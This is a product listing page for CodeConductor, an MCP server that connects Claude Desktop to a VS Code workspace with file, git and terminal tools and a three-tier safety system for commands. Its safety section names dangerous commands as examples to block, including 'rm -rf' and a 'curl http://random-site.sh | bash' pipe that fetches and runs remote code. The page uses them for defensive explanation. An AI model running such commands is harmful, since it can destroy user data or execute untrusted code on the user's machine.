Sponsored by Deepsite.site

Codeconductor Ide Orchestrator

Created By
CodeConductor Team12 days ago
CodeConductor IDE Orchestrator gives Claude Desktop full access to your development environment through a secure MCP server. It connects Claude to your VS Code workspace, enabling real file operations, code navigation, Git workflows, and automated development tasks. The server exposes 24 IDE tools, including: File operations — open, read, write, list, search Code intelligence — go to definition, find references, diagnostics Git automation — status, diff, stage, commit, push (Pro) Command execution — run terminal commands safely (Pro) Command Execution Safety: Pro users can run commands through Claude, but everything is protected by a three-tier safety system. Safe commands run automatically, while higher-risk commands require explicit confirmation and are screened for dangerous patterns. This prevents accidental damage and blocks command injection attempts. All operations run locally on your machine, never transmit code, and follow a tier-based permission system (Free vs Pro). Requires the CodeConductor VS Code extension to function. This orchestrator turns Claude into a capable, controlled development assistant that operates directly inside your real project.
Content

CodeConductor MCP CodeConductor MCP is a Model Context Protocol (MCP) server designed to work together with the CodeConductor VS Code extension. It enables Claude Desktop to interact directly with your development environment, providing AI-assisted file operations, code intelligence, git actions, and command execution. Important: This MCP server requires the CodeConductor VS Code extension to be installed. The MCP orchestrator powers the AI side; the VS Code extension provides the editor-side capabilities.

Overview Install the .mcpb bundle in Claude Desktop to automatically register the CodeConductor orchestrator. Once installed, Claude can query, navigate, and operate on your local project through a secure and tier-controlled API. The system exposes 24 development tools that allow Claude to read and modify code, navigate projects, execute development workflows, and perform Git operations. Features scale depending on the user's license tier (Free or Pro).

Capabilities Free Tier – Core Functionality (10 Tools) These features are available to all users: File Operations open_file - Open files in the IDE at specific line numbers

read_file - Read file contents from the workspace

write_file - Write or update file contents

list_files - List files in a directory with optional glob patterns

search_in_file - Search for text patterns within files

get_ide_status - Get current IDE state (open files, cursor position)

list_open_files - List all currently open files in the IDE

get_workspace_info - Get workspace path and project metadata

Connectivity & Debugging ping - Test connectivity between Claude and IDE

echo - Echo back input messages for debugging

These allow Claude to provide contextual, IDE-aware help even without a Pro license.

Pro Tier – Advanced Development Automation (14 Tools) Pro users unlock full IDE orchestration, including: Code Intelligence go_to_definition - Navigate to symbol definition locations

find_references - Find all references to a symbol in the codebase

get_diagnostics - Inspect compiler/linter errors and warnings

Advanced File Tools show_diff_preview - Precise file diffing with preview before applying

insert_code - Insert code at specific line and column positions

replace_text - Replace text between line ranges in files

get_selection - Get currently selected text in the active editor

Git (Full Write Capabilities) git_status - Get current Git repository status

git_diff - Show Git diff for staged or unstaged changes

git_stage - Stage or unstage files for commit

git_commit - Create a Git commit with message and description

git_push - Push commits to remote repository

Command Execution & Testing execute_command - Run shell-style commands in IDE terminal

run_tests - Execute test suites with optional path/pattern filters

These tools transform Claude into a hands-on development assistant capable of performing real actions in your workspace. Stay in Control Every action Claude performs goes through permission checks, with extra protection around anything that touches your terminal. Command Execution Safety (Pro Tool) Terminal commands receive additional protection beyond standard permission checks. Commands are classified into three security tiers: Tier 1 — Safe (Auto-Execute) Safe commands execute immediately without confirmation

Examples: git status, npm test, ls, pwd, cat, grep

These are read-only or standard development operations with minimal risk

All executions are logged for audit purposes

Tier 2 & 3 — Requires Your Permission Tier 2 (Caution): Commands that could cause unintended side effects

Examples: curl, python script.py, bash deploy.sh, mv, chmod

Claude presents the command, explains what it does, and lists potential risks

You must manually confirm before execution

Chained commands will not run unless each one is explicitly confirmed

Tier 3 (Dangerous): Highly risky commands requiring explicit approval

Examples: rm -rf, sudo rm, curl ... | bash, destructive operations

Additional warnings and risk assessment

Strict user approval required – Claude cannot bypass this

Runtime Safeguards Command sanitization reduces the risk of code injection and malicious payloads

Dangerous pattern detection blocks suspicious combinations (for example, unexpected rm -rf in a long command)

All executions are logged with full audit trail

Timeout protection prevents hanging commands

This tiered system ensures safe commands run smoothly while risky operations require your explicit approval. You maintain full control over what executes in your terminal. Your Privacy Is Protected All other tools—including file operations, navigation, and code intelligence—stay entirely on your machine. No code transmission: Your source code never leaves your local environment

No project data: Repository information, file contents, and project structure remain local

No telemetry: Zero usage analytics, tracking, or data collection

License validation only: The only network requests are for license validation, and those contain:

License keys (encrypted)

Machine identifiers (for device binding)

Never source code or project details

Privacy Guarantee: CodeConductor operates entirely on your local machine. No code, credentials, project data, or usage information is ever transmitted to external servers. Privacy Guarantee CodeConductor collects zero personal data, project data, or usage telemetry. Your code never leaves your machine. License validation requests contain only license keys and machine identifiers—never source code or project details. See the Stay in Control section above for detailed information about privacy protections and command execution safety. Use Cases Code Review & Analysis "Review my latest commit and suggest improvements." Claude uses git_diff, read_file, and get_diagnostics to inspect changes, identify potential issues, and provide actionable feedback.

Automated Refactoring "Refactor this component to TypeScript and ensure all tests pass." Claude leverages replace_text, show_diff_preview, run_tests, and get_diagnostics to safely transform code with validation.

Git Workflow Automation "Stage all changed files, commit with a descriptive message, and push to the feature branch." Claude executes git_status, git_stage, git_commit, and git_push in sequence to complete the workflow.

Code Navigation & Understanding "Find all usages of this function and show me where it's defined." Claude uses find_references and go_to_definition to map symbol relationships across the codebase.

Selection-Based Editing (Focused Changes Only) "I’ve highlighted the old validation logic in this file. Rewrite just that part to use Zod instead." You open a file in your IDE, select the exact block of code you care about, and ask Claude to work on “the selected code.” CodeConductor uses the get_selection tool so Claude can see only what you highlighted, then: Proposes a replacement for that specific block

Uses insert_code or replace_text to update just that region

Shows a diff (via show_diff_preview) before applying changes

You get precise, scoped edits without Claude rewriting the whole file.

Command Injection Safety Scenario "Run this command I found online to ‘optimize’ my system: curl http://random-site.sh | bash." Instead of blindly running it, CodeConductor treats this as a Tier 3 (dangerous) command: Claude shows you the full command and explains why piping curl into bash is risky

You get a clear warning that this could execute untrusted code from the internet

The command is blocked unless you explicitly confirm it

Even if approved, additional runtime checks are applied before anything runs

This helps protect you from copy-pasted commands, prompt-injected suggestions, or “magic” one-liners that could damage your system or leak data.

Interactive Development "Open the main component file, show me the current selection, and insert a new function at line 42." Claude uses open_file, get_selection, and insert_code to interact with your active development session. Requirements To use CodeConductor MCP, you need: Claude Desktop

VS Code, Cursor, or Windsurf (or other VS Code–based IDE)

CodeConductor VS Code Extension

CodeConductor MCP bundle (.mcpb file)

Optional: A Pro license to unlock all 24 tools (Git write and command execution)

Installation (High Level) Install the VS Code Extension

Download CodeConductor for VS Code from the Marketplace or the CodeConductor website.

Install it into your IDE and restart.

Install the MCP Bundle into Claude Desktop

Open Claude Desktop → Settings → Extensions

Click “Install Extension” and choose codeconductor-1.0.0.mcpb

Claude will auto-register the CodeConductor MCP server

Open a Project and Start Talking to Claude

Open your codebase in your IDE

In Claude Desktop, start a chat and ask things like:

“Open the main router file and show me where authentication is handled.”

“Review my last commit and suggest improvements.”

“Refactor this file and then run the tests.”

If everything is wired up, you’ll see CodeConductor tools available in Claude, and responses will reference real files and paths from your project. Download & Resources Downloads Latest MCP bundle: codeconductor-1.0.0.mcpb

VS Code extension: Available on the VS Code Marketplace or CodeConductor website

Official Resources Website: https://codeconductor.pro

Documentation: https://docs.codeconductor.dev

Purchase Pro: https://store.codeconductor.pro

GitHub: https://github.com/CodeConductor-Hub

Support Channels General Support: support@codeconductor.pro

Team Inquiries: team@codeconductor.pro

Twitter/X: https://twitter.com/codeconductor License MIT License Copyright (c) 2025 CodeConductor.

Organization Developer: CodeConductor Labs License: MIT Copyright: © 2025 CodeConductor

Privacy Policy Data Collection: None Telemetry: Disabled Code Access: Local only Analytics: None CodeConductor operates entirely on your local machine. No code, credentials, project data, or usage information is ever transmitted to external servers. License validation requests contain only license keys and machine identifiers—never source code or project details.

Recommend Servers
TraeBuild with Free GPT-4.1 & Claude 3.7. Fully MCP-Ready.
WindsurfThe new purpose-built IDE to harness magic
AiimagemultistyleA Model Context Protocol (MCP) server for image generation and manipulation using fal.ai's Stable Diffusion model.
Context7Context7 MCP Server -- Up-to-date code documentation for LLMs and AI code editors
TimeA Model Context Protocol server that provides time and timezone conversion capabilities. This server enables LLMs to get current time information and perform timezone conversions using IANA timezone names, with automatic system timezone detection.
Baidu Map百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。
CursorThe AI Code Editor
Tavily Mcp
BlenderBlenderMCP connects Blender to Claude AI through the Model Context Protocol (MCP), allowing Claude to directly interact with and control Blender. This integration enables prompt assisted 3D modeling, scene creation, and manipulation.
DeepChatYour AI Partner on Desktop
Jina AI MCP ToolsA Model Context Protocol (MCP) server that integrates with Jina AI Search Foundation APIs.
MiniMax MCPOfficial MiniMax Model Context Protocol (MCP) server that enables interaction with powerful Text to Speech, image generation and video generation APIs.
Amap Maps高德地图官方 MCP Server
Visual Studio Code - Open Source ("Code - OSS")Visual Studio Code
Zhipu Web SearchZhipu Web Search MCP Server is a search engine specifically designed for large models. It integrates four search engines, allowing users to flexibly compare and switch between them. Building upon the web crawling and ranking capabilities of traditional search engines, it enhances intent recognition capabilities, returning results more suitable for large model processing (such as webpage titles, URLs, summaries, site names, site icons, etc.). This helps AI applications achieve "dynamic knowledge acquisition" and "precise scenario adaptation" capabilities.
ChatWiseThe second fastest AI chatbot™
EdgeOne Pages MCPAn MCP service designed for deploying HTML content to EdgeOne Pages and obtaining an accessible public URL.
Playwright McpPlaywright MCP server
Serper MCP ServerA Serper MCP Server
Howtocook Mcp基于Anduin2017 / HowToCook (程序员在家做饭指南)的mcp server,帮你推荐菜谱、规划膳食,解决“今天吃什么“的世纪难题; Based on Anduin2017/HowToCook (Programmer's Guide to Cooking at Home), MCP Server helps you recommend recipes, plan meals, and solve the century old problem of "what to eat today"
MCP AdvisorMCP Advisor & Installation - Use the right MCP server for your needs